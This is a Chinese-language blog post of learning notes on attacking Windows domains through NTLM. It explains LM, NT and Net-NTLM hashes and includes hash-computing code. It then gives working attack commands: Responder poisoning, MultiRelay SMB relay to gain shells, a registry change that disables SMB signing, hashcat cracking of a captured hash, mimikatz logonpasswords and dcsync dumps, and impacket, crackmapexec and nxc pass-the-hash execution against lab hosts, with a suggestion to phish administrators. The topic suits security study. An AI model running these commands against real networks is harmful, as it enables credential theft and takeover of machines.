域渗透学习(NTLM篇)

LM Hash 和 NTLM Hash 和 Net-NTLM hash

在Windows系统中,身份验证通常使用 NTLM 协议,NTLM 协议不会直接传输明文密码,而是基于密码的哈希值进行质询-响应认证。这些哈希值由系统 API(如 LsaLogonUser)根据用户密码生成

  • Windows 中存在两种主要的本地存储哈希:
    • LM Hash(LAN Manager Hash)
    • NT Hash(也称 NTLM Hash)
  • 在渗透测试中,通常可通过以下途径获取这些哈希:
    • 从本地的 SAM 文件 (C:\Windows\System32\config\SAM) 中提取
    • 从域控制器的 NTDS.dit 文件 (C:\Windows\NTDS\NTDS.dit) 中提取
    • 使用工具(如 Mimikatz)从内存中读取 lsass.exe 进程,获取已登录用户的 NT Hash
  • 如果攻击者窃取了这些本地存储的哈希值,就可以通过 传递哈希(Pass-the-Hash)技术直接模拟用户身份,而无需知道原始密码或重新计算哈希

LM hash

全称是LAN Manager Hash, windows最早使用的加密算法,由IBM设计。密码会被转为大写并限制为 14 个字符。自 Windows Vista 和 Windows Server 2008 起,LM Hash 默认被禁用。如果密码长度超过 15 个字符,也无法生成 LM Hash

python脚本实现的 LM Hash 计算:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# coding=utf-8
import re
import binascii
from pyDes import *

# 使用 DES 算法进行加密
def DesEncrypt(data_str, des_key):
"""
使用 DES ECB 模式对指定字符串进行加密
:param data_str: 明文数据 (字符串)
:param des_key: 16 进制字符串表示的 DES 密钥 (16 个字符)
:return: 加密后的 16 进制字符串
"""
# 将十六进制的密钥转换为二进制字节
k = des(binascii.unhexlify(des_key), ECB, pad=None)
# 将明文字符串转为 bytes,再加密
encrypted_data = k.encrypt(data_str.encode('ascii'))
# 返回加密后的十六进制字符串
return binascii.hexlify(encrypted_data).decode('ascii')


def group_just(length, text):
"""
将 56bit 的比特流拆分为 7bit 一组,每组补充一个 0 变为 8bit,最后拼接成十六进制字符串
:param length: 每组的比特长度 (7)
:param text: 二进制字符串
:return: 转换后的十六进制字符串
"""
# 将二进制流按 7bit 分组
text_area = re.findall(r'.{%d}' % int(length), text)
# 每组末尾补一个 '0' 变成 8bit
text_area_padding = [i + '0' for i in text_area]
# 拼接成完整的二进制字符串
hex_str = ''.join(text_area_padding)
# 转换为十六进制并去掉 Python 可能附加的 'L'
hex_int = hex(int(hex_str, 2))[2:].rstrip("L")
# 如果结果为 '0',补齐为 16 个 0
if hex_int == '0':
hex_int = '0000000000000000'
return hex_int


def lm_hash(password):
"""
计算 Windows LM Hash
1. 密码转为大写,编码为十六进制,补齐 14 字节 (28 个十六进制字符)
2. 分成两段,每段 7 字节 (14 个十六进制字符)
3. 每段转换成比特流,补齐到 56bit
4. 每 7bit 转为 8bit 并补 0,形成 DES 密钥
5. 使用 DES 加密固定字符串 "KGS!@#$%"
6. 拼接两个加密结果得到最终 LM Hash
"""
# 转为大写并编码为十六进制,不足 14 字节用 0 填充
pass_hex = binascii.hexlify(password.upper().encode('ascii')).decode('ascii').ljust(28, '0')
# 拆分为左右两段,每段 7 字节
left_str = pass_hex[:14]
right_str = pass_hex[14:]
# 转换为二进制字符串并补齐到 56 位
left_stream = bin(int(left_str, 16)).lstrip('0b').rjust(56, '0')
right_stream = bin(int(right_str, 16)).lstrip('0b').rjust(56, '0')
# 每 7bit 补 0 并转换为十六进制字符串
left_stream = group_just(7, left_stream)
right_stream = group_just(7, right_stream)
# DES 加密固定字符串
left_lm = DesEncrypt('KGS!@#$%', left_stream)
right_lm = DesEncrypt('KGS!@#$%', right_stream)
# 拼接两个部分得到最终 LM Hash
return left_lm + right_lm


if __name__ == '__main__':
# 测试用例
hash_value = lm_hash("Qwer1234")
print(hash_value)

# 1319b0fa23c89f2dff17365faf1ffe89

LM hash加密方式存在的缺点:

  1. 密码不区分大小写,且长度最大只能为14个字符
  2. des的key是固定的
  3. 如果明文密码长度小于7位,第二个分组的加密结果一定是:aad3b435b51404ee

NT Hash(NTLM Hash)

LM Hash的缺点非常明显,所以微软于1993年在Windows NT 3.1中引入了NTLM协议,使用 MD4 算法对用户密码(Unicode 编码)进行哈希,是当前 NTLM 协议主要使用的哈希

例如计算一个明文密码 Qwer1234,有以下几步

  1. To Hex: 5177657231323334
  2. 转换为其对应的 Unicode 编码的十六进制值(小端序):51007700650072003100320033003400
  3. 当作hex字符串进行MD4加密:91ff0fb948167eb4d080b5330686c02f

python 实现

1
2
3
4
5
import hashlib,binascii

print(binascii.hexlify(hashlib.new("md4", "Qwer1234".encode("utf-16le")).digest()))

# b'91ff0fb948167eb4d080b5330686c02f'

可以看到与mimikatz抓到的值一样

Net-NTLM hash

前面提到的 LM Hash 和 NTLM Hash 是 Windows 系统本地存储用户凭据时使用的哈希值

而 Net-NTLM Hash 通常指在网络环境下,NTLM 协议进行质询-响应认证时生成的认证数据(哈希响应),它与本地存储的 NTLM Hash 并不完全相同

NTLM身份认证

Windows 的 NTLM 认证就是利用 NTLM Hash 进行的认证,可以分为 本地认证 和 网络认证 两种方式。NTLM 的网络认证,既可用于域内的认证服务,又可用于工作组环境。NTLM 有 NTLMv1 、NTLMv2 、NTLMsession v2 三个版本,目前使用最多的是NTLMv2版本

本地认证

本地认证流程如下:

  1. 用户通过 winlogon.exe(Windows NT 用户登录程序)输入密码
  2. winlogon.exe 将明文密码传递给 lsass.exe(Local Security Authority Subsystem Service,本地安全子系统服务),负责处理 Windows 的本地安全策略和身份验证
  3. lsass.exe 会暂时存储明文密码,并将其与 SAM(Security Account Manager)数据库中的哈希值进行比对
  4. 若比对成功,用户即可登录系统;否则登录失败

工作组/域认证

NTLM认证采用质询/应答(Challenge/Response)的消息交换模式,流程如下:

  1. 协商 主要用于确认双方协议版本(NTLM v1/NTLM V2)
  2. 质询 就是挑战(Challenge)/响应(Response)认证机制起作用的范畴。
  3. 验证 验证主要是在质询完成后,验证结果,是认证的最后一步。

工作组

域内的流程是一样的,不过是身份验证部分交给了DC来进行

域

抓包分析

IP:172.16.30.33
域:xx.com
账号密码:aaa/Qwer1234

域内客户端通过命令连接服务器

1
net use \\172.16.30.33 /u:xx\aaa Qwer1234

前几个是smb协商版本的包,这里主要看16-19,对应NTLM认证的几个步骤(可以用smb2 或者 ntlmssp 筛选)

16:NTLMSSP_NEGOTIATE Request 发送一些版本信息给服务端协商协议版本

17:NTLMSSP_NEGOTIATE Response 返回 NTLMSSP_Challenge 包含一个16位随机数Challenge,例子中的是387676d184713b48

18:客户端接收到Challenge之后,在本地使用用户 NTLM Hash 与 Challenge 进行加密运算得到 Response,将 Response,username,Challenge 发给服务器

消息中的Response是最关键的部分,因为它向服务器证明客户端用户已经知道帐户密码

NTLMv2 Client challenge: 客户端生成的随机数,与服务器提供的 Server Challenge 一起参与响应值计算,用于确保每次认证请求的唯一性
MIC: 消息完整性码,用于确保消息在传输过程中未被篡改。它基于协商的 Session Key 计算,保证数据完整性
session_key: 由 Master Key 派生而来的会话密钥,用于签名(Sign)和可选的消息加密(Seal),确保数据完整性与保密性
NTProofStr:是通过 HMAC-MD5 算法 计算得到的 16 字节摘要,用于证明客户端确实拥有用户的密码

19:第四个请求包表示验证通过

如果使用错误的用户名密码时,如图:Error: STATUS_LOGON_FAILURE


下面,使用Hashcat对该Net-NTLM hash进行破解

组成格式为:

1
2
3
4
5
# Net-NTLM Hash v2的格式为(challenge->NTLM Server Challenge / HMAC-MD5->NTProofStr  /  blob->Response去掉NTProofStr的后半部分):
username::domain:challenge:HMAC-MD5:blob

# Net-NTLM Hash v1的格式为
username::hostname:LM response:NTLM response:challenge

组成完整的数据(这里注意域名需要小写,我之前复制成了大写导致一直爆破不出来,踩了个坑)

aaa::xx:387676d184713b48:e6fe6dbcec53d7ed73a4968691e32e29:010100000000000060739831a119dc01ccdacc8319776fec00000000020004005800580001000a005700320030003100320004000c00780078002e0063006f006d0003001800770032003000310032002e00780078002e0063006f006d0005000c00780078002e0063006f006d000700080060739831a119dc010600040002000000080030003000000000000000010000000020000070b12a1a26693aba059a827299cade7b2a32a4655457fc3ef2ed200dfbbfee990a001000000000000000000000000000000000000900220063006900660073002f003100370032002e00310036002e00330030002e0033003300000000000000000000000000

hashcat 爆破命令

1
hashcat -m 5600 aaa::xx:387676d184713b48:e6fe6dbcec53d7ed73a4968691e32e29:010100000000000060739831a119dc01ccdacc8319776fec00000000020004005800580001000a005700320030003100320004000c00780078002e0063006f006d0003001800770032003000310032002e00780078002e0063006f006d0005000c00780078002e0063006f006d000700080060739831a119dc010600040002000000080030003000000000000000010000000020000070b12a1a26693aba059a827299cade7b2a32a4655457fc3ef2ed200dfbbfee990a001000000000000000000000000000000000000900220063006900660073002f003100370032002e00310036002e00330030002e0033003300000000000000000000000000 /usr/share/wordlists/rockyou.txt -o out.txt --force
1
2
3
-m: hash-type,5600对应NetNTLMv2,详细参数可查表:https://hashcat.net/wiki/doku.php?id=hashcat
-o: 输出文件 字典文件为/usr/share/wordlists/rockyou.txt
–force: 代表强制执行,测试系统不支持Intel OpenCL

NTLM Type 3 响应类别

在 Type 3 中的Response根据系统版本被分为六种响应类型

  1. LM (LAN Manager) Response - 由大多数较早的客户端发送,这是“原始”响应类型
  2. NTLM Response - 这是由基于NT的客户端发送的,包括Windows 2000和XP
  3. NTLMv2 Response - 在Windows NT Service Pack 4中引入的一种较新的响应类型。它替换启用了NTLMv2的系统上的NTLM响应
  4. LMv2 Response - 替代NTLMv2系统上的LM响应
  5. NTLM2 Session Response - 用于在没有NTLMv2身份验证的情况下协商NTLM2会话安全性时,此方案会更改LM NTLM响应的语义
  6. Anonymous Response - 当匿名上下文正在建立时使用; 不提供实际凭据,也不进行真正的身份验证。Type 3消息中显示”Stub”字段

加密流程差异

所有响应类型均采用 Challenge/Response 验证机制,但 Challenge 和加密算法有所不同:

  • Challenge

    • NTLMv1:8 字节
    • NTLMv2:16 字节
  • Net-NTLM Hash

    • NTLMv1:主要使用 DES
    • NTLMv2:主要使用 HMAC-MD5

LmCompatibilityLevel 设置与默认行为

响应类型由 LmCompatibilityLevel 安全设置决定。默认值如下:

  • Windows 2000 / Windows XP:发送 LM & NTLM 响应
  • Windows Server 2003:仅发送 NTLM 响应
  • Windows Vista / Windows Server 2008 / Windows 7 / Windows Server 2008 R2 及更高版本:仅发送 NTLMv2 响应

参考资料:The NTLM Authentication Protocol and Security Support Provider

Net-NTLM hash 捕获

Windows系统名称解析顺序为:

  1. 本地 hosts 文件(%windir%\System32\drivers\etc\hosts)
  2. DNS 缓存 / DNS 服务器
  3. 链路本地多播名称解析(LLMNR)和 NetBIOS 名称服务(NBT-NS)

如果在缓存中没有找到名称,DNS 名称服务器又请求失败时,Windows 系统就会通过链路本地多播名称解析(LLMNR)和 Net-BIOS 名称服务(NBT-NS)在本地进行名称解析


在 Windows Active Directory 环境中,当客户端输入不存在或 DNS 中没有的主机名时,就会通过未经认证的 UDP 广播向网络请求解析(LLMNR 或 NBT-NS)。由于该过程未被认证,网络上的任何机器都可响应并伪装成目标主机。攻击者可利用工具(如 Responder)冒充目标计算机,当受害者尝试连接时,攻击者截获其 Net-NTLMv2 哈希,实现类似 ARP 欺骗的中间人攻击。

Responder 项目地址:https://github.com/lgandx/Responder

kali中自带Responder,配置文件位置: /usr/share/responder/Responder.conf

1
responder -I eth0  # 启动  -I 指定监听的网卡接口

启动后在域内主机上访问错误的unc触发smb(或者使用HTTP、LDAP、MSSQL等可以携带NTLM的协议触发)

看到成功捕获到了NTLMv2 hash

后续再次抓会默认跳过已抓到的hash,历史数据可以在 /usr/share/responder/Responder.db 查看

1
2
3
4
sqlite3 Responder.db

.tables
select * from responder;

之后可以选择hashcat或者john来尝试爆破

中间人 中继(relay)攻击

Responder 还提供了一些其他工具,使攻击者能够执行攻击,例如通过中继 NTLMv2 hash 来获取网络中计算机的 Shell 访问权限。但是需要管理员权限,普通域用户的 hash 不能获得其他计算机的shell

例子:一位域管理员用户尝试访问一个不存在的共享,Responder 对其进行了投毒欺骗,随后 Multirelay.py 脚本使用捕获到的 NTLMv2 hash 登录到 Windows 域网络中的一台计算机

kali下的工具目录在 /usr/share/responder/tools

先运行RunFinger脚本查看SMB签名信息

1
2
3
4
5
┌──(root㉿dr0n1)-[/usr/share/responder/tools]
└─# python RunFinger.py -i 192.168.100.0/24
[SMB2]:['192.168.100.150', Os:'Windows 8.1/Server 2012R2', Build:'9600', Domain:'XX', Bootime: '2025-08-29 09:28:24', Signing:'True', RDP:'False', SMB1:'False', MSSQL:'False']
[SMB2]:['192.168.100.177', Os:'Windows 7/Server 2008R2', Build:'7600', Domain:'XX', Bootime: '2025-08-29 09:28:22', Signing:'False', RDP:'False', SMB1:'True', MSSQL:'False']
[SMB1]:['192.168.100.177', Os:'Windows 7 Enterprise 7600', Domain:'XX', Signing:'False', Null Session: 'True', RDP:'False', MSSQL:'False']

如果开启了 SMB Signing,重放攻击就无法利用,但这里的例子中除了域控是默认开启的,其他的机器都是默认关闭的状态

关闭SMB签名验证的命令:

1
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f

攻击前先修改Responder的配置文件,将SMB和HTTP关闭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
; Servers to start
SQL = On
SMB = Off
QUIC = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
SNMP = On
MQTT = On

开启投毒欺骗(这里 responder 的作用就是当访问一个不存在的共享路径,来抓取网络中所有的 LLMNR 和 NetBIOS 请求并进行响应)

1
responder -I eth0

运行MultiRelay脚本进行中继

1
python3 MultiRelay.py -t <target_machine_IP> -u ALL

现在,域中任何的管理员用户尝试访问/拼写错误的、不存在的共享时,就可以获得目标机器的shell

在实际利用中可以结合钓鱼邮件等操作诱骗管理员进行操作,我们通过监听/中继就能获得目标当前用户的 Net-NTLM hash,然后进行后续其他操作

反射(reflect)攻击

攻击者通过一定的方法使得 Client 与自己进行认证,然后将 Client 发送过来的 Credential 转发回 Client 自身,从而攻击 Client

在 Windows 权限提升工具中,著名的 土豆(Potato)系列 中的几种提权方法就利用了类似的反射攻击原理。它们通过劫持或欺骗本地的认证机制并反射认证信息,实现从低权限账户到高权限账户(通常是 SYSTEM 权限)的提权操作

详细步骤见 windows提权笔记

PTH(pass-the-hash)

哈希传递(Pass The Hash,简称 PTH)攻击是一种通过获取账户密码散列值(NTLM Hash)来进行渗透的技术。在 Windows 系统中,NTLM 认证的 TYPE 3 消息计算 Response 时,客户端使用的是用户的 NTLM Hash,而非明文密码。因此,在模拟用户登录或访问资源时,无需知道用户的真实密码,只需掌握其 Hash 值。攻击者便可直接利用 NTLM Hash 远程登录目标主机或执行相应操作

简单来说就是 攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码

另外需要注意微软发布的补丁KB2871997,在一定程度上能缓解此类攻击,但并非完全防御,可以参考 KB22871997是否真的能防御PTH攻击?

被控主机获取NTLM hash

方式一:使用 mimikatz.exe 本体获取hash

1
2
3
privilege::debug
sekurlsa::logonpasswords #抓取保存的所有凭证(包括hash)
lsadump::dcsync /domain:xx.com /all /csv # 通过DSync导出所有用户的Hash

方式二:在 cs 中获取hash

上线后在beacon中执行

1
logonpasswords

方式三:在 msf 中获取hash

1
2
load kiwi
kiwi_cmd "lsadump::dcsync /domain:xx.com /all /csv" exit

其实都是使用的内置的mimikatz

利用NTLM hash

使用到的工具:

  • mimikatz:神器
  • Impacket工具集:它是一个开源的 Python 库,专注于处理网络协议和与 Windows 系统交互,广泛用于域环境渗透、凭据窃取、远程执行和 Kerberos 协议操作
  • crackmapexec:CrackMapExec是一款强大的内网域渗透工具,支持smb和winrm等协议执行命令、枚举域信息、密码攻击以及检测安全漏洞
  • NetExec:是 CrackMapExec 的后继版本
  • Invoke-TheHash模块:Invoke-TheHash 脚本可以用来通过哈希传递在远程主机上执行 WMI 和 SMB 命令。且客户端不需要本地管理员权限

方法一:通过 mimikatz

mimikatz的pth功能需要本地管理员权限,这是由它的实现机制决定的,需要先获得高权限进程lsass.exe的信息
对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash

需要445或135端口开放

1
2
3
4
# sekurlsa::pth /user:<pth 的对象> /domain:<域名> /ntlm:<ntlm hash> [/run:name]

privilege::debug
sekurlsa::pth /user:administrator /domain:xx.com /ntlm:f29eef39afe448760a66047b46efb03e /run:cmd

方法二:通过 SMB协议

需要445或139端口开放

1
2
3
impacket-smbexec xx/administrator@192.168.100.150 -hashes :f29eef39afe448760a66047b46efb03e
crackmapexec smb 192.168.100.150 -u administrator -H f29eef39afe448760a66047b46efb03e -d xx -x "whoami"
nxc smb 192.168.100.150 -u Administrator -p 'Dr0n111' -x whoami

方法三:通过 psexec

需要445或139端口开放

1
impacket-psexec administrator@192.168.100.150 -hashes :f29eef39afe448760a66047b46efb03e

方法四:通过 atexec

需要445或139端口开放

1
2
impacket-atexec xx.com/administrator@192.168.100.150 whoami -hashes :f29eef39afe448760a66047b46efb03e
# nxc smb 192.168.100.150 -u administrator -p 'Dr0n111' -x whoami --exec-method atexec

方法五:通过 dcomexec

需要135端口开放,受防火墙影响

1
impacket-dcomexec administrator@192.168.100.150 whoami -hashes :f29eef39afe448760a66047b46efb03e

方法六:通过 smbclient

需要445或139端口开放

1
impacket-smbclient administrator@192.168.100.150 -hashes :f29eef39afe448760a66047b46efb03e

impacket-smbclient 是一个 交互式 SMB 客户端,类似于 smbclient 或 FTP 客户端,只支持与共享目录相关的操作命令(包括列举目录、上传文件、下载文件、删除文件。具体权限取决于该口令 hash 的权限),它不支持直接执行系统命令(如 whoami)

方法七:通过 wmiexec

需要135端口开放

1
2
3
impacket-wmiexec administrator@192.168.100.150 -hashes :f29eef39afe448760a66047b46efb03e
nxc wmi 192.168.100.150 -u administrator --hash 'f29eef39afe448760a66047b46efb03e' -x whoami #在SMB端口445、139打开时
nxc wmi 192.168.100.150 -u administrator --hash 'f29eef39afe448760a66047b46efb03e' -x whoami -d HTB #在SMB端口没有打开时
1
2
3
Import-Module .\Invoke-WMIExec.ps1 # 导入powershell模块
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass # 如果PowerShell 执行策略阻止了脚本运行,设置临时允许脚本执行
Invoke-WMIExec -Target 192.168.100.150 -Domain xx.com -Username administrator -Hash f29eef39afe448760a66047b46efb03e -Command "calc.exe" -verbose

参考文章:
域渗透学习
PTH
Windows下的密码hash——NTLM hash和Net-NTLM hash介绍
Windows本地认证NTLM Hash&LM Hash
Windows网络认证NTLM&Net-NTLM Hash
内网渗透之LM、NTLM认证学习及攻击
How to use responder tool to perform exploitation in windows environment by stealing NTLMv2 hashes.


域渗透学习(NTLM篇)
https://www.dr0n.top/posts/3f5b8fbe/
作者
dr0n
发布于
2025年6月28日
更新于
2025年9月4日
许可协议